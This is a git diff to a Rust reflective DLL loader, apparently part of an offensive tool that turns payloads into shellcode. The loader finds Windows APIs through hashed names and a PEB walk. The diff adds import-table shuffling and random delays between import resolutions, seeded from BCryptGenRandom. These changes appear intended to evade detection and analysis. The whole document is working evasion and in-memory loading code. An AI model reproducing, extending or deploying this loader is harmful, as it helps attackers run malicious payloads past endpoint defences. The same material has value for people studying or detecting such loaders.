diff --git a/Cargo.lock b/Cargo.lock index 8382ac4..d06aee1 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -33,7 +33,6 @@ name = "airborne-reflective_loader" version = "0.1.0" dependencies = [ "airborne-utils", - "rand_core", "windows-sys", ] diff --git a/reflective_loader/Cargo.toml b/reflective_loader/Cargo.toml index 65f5926..fbfff3c 100644 --- a/reflective_loader/Cargo.toml +++ b/reflective_loader/Cargo.toml @@ -8,7 +8,6 @@ crate-type = ["cdylib"] [dependencies] airborne-utils = { path = "../utils" } -rand_core = "0.6.0" [dependencies.windows-sys] version = "0.52.0" @@ -16,5 +15,6 @@ features = [ "Win32_Foundation", "Win32_System_Kernel", "Win32_System_Threading", - "Win32_System_WindowsProgramming" + "Win32_System_WindowsProgramming", + "Win32_Security_Cryptography" ] diff --git a/reflective_loader/src/lib.rs b/reflective_loader/src/lib.rs index a5cebed..5782e5f 100644 --- a/reflective_loader/src/lib.rs +++ b/reflective_loader/src/lib.rs @@ -13,7 +13,8 @@ use core::{ use windows_sys::{ core::PWSTR, Win32::{ - Foundation::{BOOL, HMODULE}, + Foundation::{BOOL, HMODULE, STATUS_SUCCESS}, + Security::Cryptography::BCRYPT_RNG_ALG_HANDLE, System::{ Diagnostics::Debug::{ IMAGE_DATA_DIRECTORY, IMAGE_DIRECTORY_ENTRY_BASERELOC, @@ -40,9 +41,11 @@ use windows_sys::{ use crate::memory::*; -// must be edited based on the number of imports in the IDT of the payload -// const IMPORT_COUNT: usize = 100; -// const MAX_IMPORT_DELAY_MS: u32 = 5000; +// TODO: replace with parameters from the shellcode generator +const SHUFFLE_IMPORTS: bool = true; +const DELAY_IMPORTS: bool = true; + +const MAX_IMPORT_DELAY_MS: u64 = 2000; #[cfg(not(test))] #[panic_handler] @@ -50,8 +53,13 @@ fn panic(_info: &core::panic::PanicInfo) -> ! { loop {} } +// TODO: add to blog references +// https://research.ijcaonline.org/volume113/number8/pxc3901710.pdf + // TODO: check if i8 types can be replaced with u8 types (especially in pointers) +// TODO: replace plain returns with Result and propagate errors until panic in the loader function + // TODO: remove _fltused and _DllMainCRTStartup (and uncomment DllMain) if deemed unnecessary after testing #[export_name = "_fltused"] @@ -89,12 +97,13 @@ pub unsafe extern "system" fn loader( let kernel32_base_ptr = get_module_ptr(KERNEL32_DLL).unwrap(); let _ntdll_base_ptr = get_module_ptr(NTDLL_DLL).unwrap(); + let bcrypt_base_ptr = get_module_ptr(BCRYPT_DLL).unwrap(); - if kernel32_base_ptr.is_null() || _ntdll_base_ptr.is_null() { + if kernel32_base_ptr.is_null() || _ntdll_base_ptr.is_null() || bcrypt_base_ptr.is_null() { return; } - let far_procs = get_export_ptrs(kernel32_base_ptr).unwrap(); + let far_procs = get_export_ptrs(kernel32_base_ptr, bcrypt_base_ptr).unwrap(); /* 2.) load the target image to a newly allocated permanent memory location with RW permissions @@ -186,13 +195,17 @@ pub unsafe extern "system" fn loader( } } -unsafe fn get_export_ptrs(kernel32_base_ptr: *mut u8) -> Option { +unsafe fn get_export_ptrs( + kernel32_base_ptr: *mut u8, + bcrypt_base_ptr: *mut u8, +) -> Option { let loadlib_addr = get_export_addr(kernel32_base_ptr, LOAD_LIBRARY_A).unwrap(); let getproc_addr = get_export_addr(kernel32_base_ptr, GET_PROC_ADDRESS).unwrap(); let virtualalloc_addr = get_export_addr(kernel32_base_ptr, VIRTUAL_ALLOC).unwrap(); let virtualprotect_addr = get_export_addr(kernel32_base_ptr, VIRTUAL_PROTECT).unwrap(); let flushcache_addr = get_export_addr(kernel32_base_ptr, FLUSH_INSTRUCTION_CACHE).unwrap(); let sleep_addr = get_export_addr(kernel32_base_ptr, SLEEP).unwrap(); + let bcrypt_genrandom_addr = get_export_addr(bcrypt_base_ptr, BCRYPT_GEN_RANDOM).unwrap(); if loadlib_addr == 0 || getproc_addr == 0 @@ -221,6 +234,9 @@ unsafe fn get_export_ptrs(kernel32_base_ptr: *mut u8) -> Option { #[allow(non_snake_case)] let Sleep: Sleep = transmute(sleep_addr); + #[allow(non_snake_case)] + let BCryptGenRandom: BCryptGenRandom = transmute(bcrypt_genrandom_addr); + Some(FarProcs { LoadLibraryA, GetProcAddress, @@ -228,6 +244,7 @@ unsafe fn get_export_ptrs(kernel32_base_ptr: *mut u8) -> Option { VirtualProtect, FlushInstructionCache, Sleep, + BCryptGenRandom, }) } @@ -424,12 +441,33 @@ unsafe fn patch_iat( ) { /* 1.) shuffle Import Directory Table entries (image import descriptors) - 2.) delay the relocation of each import a semirandom duration + 2.) delay the relocation of each import a random duration 3.) conditional execution based on ordinal/name 4.) indirect function call via pointer */ - // TODO: obfuscate the import handling (convert C++ obfuscation to Rust, preferably no_std) + let mut id_ptr = import_descriptor_ptr; + let mut import_count = 0; + + while (*id_ptr).Name != 0 { + import_count += 1; + id_ptr = id_ptr.add(1); + } + + let id_ptr = import_descriptor_ptr; + + if import_count > 1 && SHUFFLE_IMPORTS { + // Fisher-Yates shuffle + for i in 0..import_count - 1 { + let rn = get_rn(far_procs).unwrap(); // TODO: replace with error propagation + + let gap = import_count - i; + let j_u64 = i + (rn % gap); + let j = j_u64.min(import_count - 1); + + id_ptr.offset(j as _).swap(id_ptr.offset(i as _)); + } + } while (*import_descriptor_ptr).Name != 0x0 { let module_name_ptr = rva::(base_addr_ptr as _, (*import_descriptor_ptr).Name as usize); @@ -444,6 +482,12 @@ unsafe fn patch_iat( return; } + if DELAY_IMPORTS { + let rn = get_rn(far_procs).unwrap_or(0); // TODO: replace with error propagation + let delay = rn % MAX_IMPORT_DELAY_MS; + (far_procs.Sleep)(delay as _); + } + // RVA of the IAT via either OriginalFirstThunk or FirstThunk let mut original_thunk_ptr: *mut IMAGE_THUNK_DATA64 = if (base_addr_ptr as usize + (*import_descriptor_ptr).Anonymous.OriginalFirstThunk as usize) @@ -564,6 +608,23 @@ unsafe fn finalize_relocations( (far_procs.FlushInstructionCache)(-1, null_mut(), 0); } +#[link_section = ".text"] +unsafe fn get_rn(far_procs: &FarProcs) -> Option { + let mut buffer = [0u8; 8]; + let status = (far_procs.BCryptGenRandom)( + BCRYPT_RNG_ALG_HANDLE, + buffer.as_mut_ptr(), + buffer.len() as _, + 0, + ); + + if status != STATUS_SUCCESS { + return None; + } + + Some(u64::from_le_bytes(buffer)) +} + #[link_section = ".text"] unsafe fn get_peb_ptr() -> *mut PEB { // TEB located at offset 0x30 from the GS register on 64-bit diff --git a/reflective_loader/src/memory.rs b/reflective_loader/src/memory.rs index 96687ef..81f86cf 100644 --- a/reflective_loader/src/memory.rs +++ b/reflective_loader/src/memory.rs @@ -3,7 +3,8 @@ use core::ffi::c_void; use windows_sys::{ core::PCSTR, Win32::{ - Foundation::{BOOL, BOOLEAN, FARPROC, HANDLE, HMODULE, UNICODE_STRING}, + Foundation::{BOOL, BOOLEAN, FARPROC, HANDLE, HMODULE, NTSTATUS, UNICODE_STRING}, + Security::Cryptography::{BCRYPTGENRANDOM_FLAGS, BCRYPT_ALG_HANDLE}, System::{ Kernel::LIST_ENTRY, Memory::{PAGE_PROTECTION_FLAGS, VIRTUAL_ALLOCATION_TYPE}, @@ -17,6 +18,9 @@ pub static KERNEL32_DLL: u32 = 0x6DDB9555; #[allow(non_snake_case)] pub static NTDLL_DLL: u32 = 0x1EDAB0ED; +#[allow(non_snake_case)] +pub static BCRYPT_DLL: u32 = 0xEDB54DA3; + #[allow(non_snake_case)] pub static LOAD_LIBRARY_A: u32 = 0xB7072FDB; @@ -35,6 +39,9 @@ pub static VIRTUAL_PROTECT: u32 = 0xE857500D; #[allow(non_snake_case)] pub static SLEEP: u32 = 0xE07CD7E; +#[allow(non_snake_case)] +pub static BCRYPT_GEN_RANDOM: u32 = 0xD966C0D4; + #[allow(non_camel_case_types)] pub type LoadLibraryA = unsafe extern "system" fn(lpLibFileName: PCSTR) -> HMODULE; @@ -64,6 +71,14 @@ pub type FlushInstructionCache = unsafe extern "system" fn( NumberOfBytesToFlush: usize, ) -> BOOL; +#[allow(non_camel_case_types)] +pub type BCryptGenRandom = unsafe extern "system" fn( + hAlgorithm: BCRYPT_ALG_HANDLE, + pbBuffer: *mut u8, + cbBuffer: u32, + dwFlags: BCRYPTGENRANDOM_FLAGS, +) -> NTSTATUS; + #[allow(non_camel_case_types)] pub type Sleep = unsafe extern "system" fn(dwMilliseconds: u32); @@ -84,6 +99,7 @@ pub struct FarProcs { pub VirtualProtect: VirtualProtect, pub FlushInstructionCache: FlushInstructionCache, pub Sleep: Sleep, + pub BCryptGenRandom: BCryptGenRandom, } #[allow(non_camel_case_types)] diff --git a/utils/Cargo.toml b/utils/Cargo.toml index b395b41..c690815 100644 --- a/utils/Cargo.toml +++ b/utils/Cargo.toml @@ -4,4 +4,3 @@ version = "0.1.0" edition = "2021" [dependencies] -# panic-halt = "0.2.0"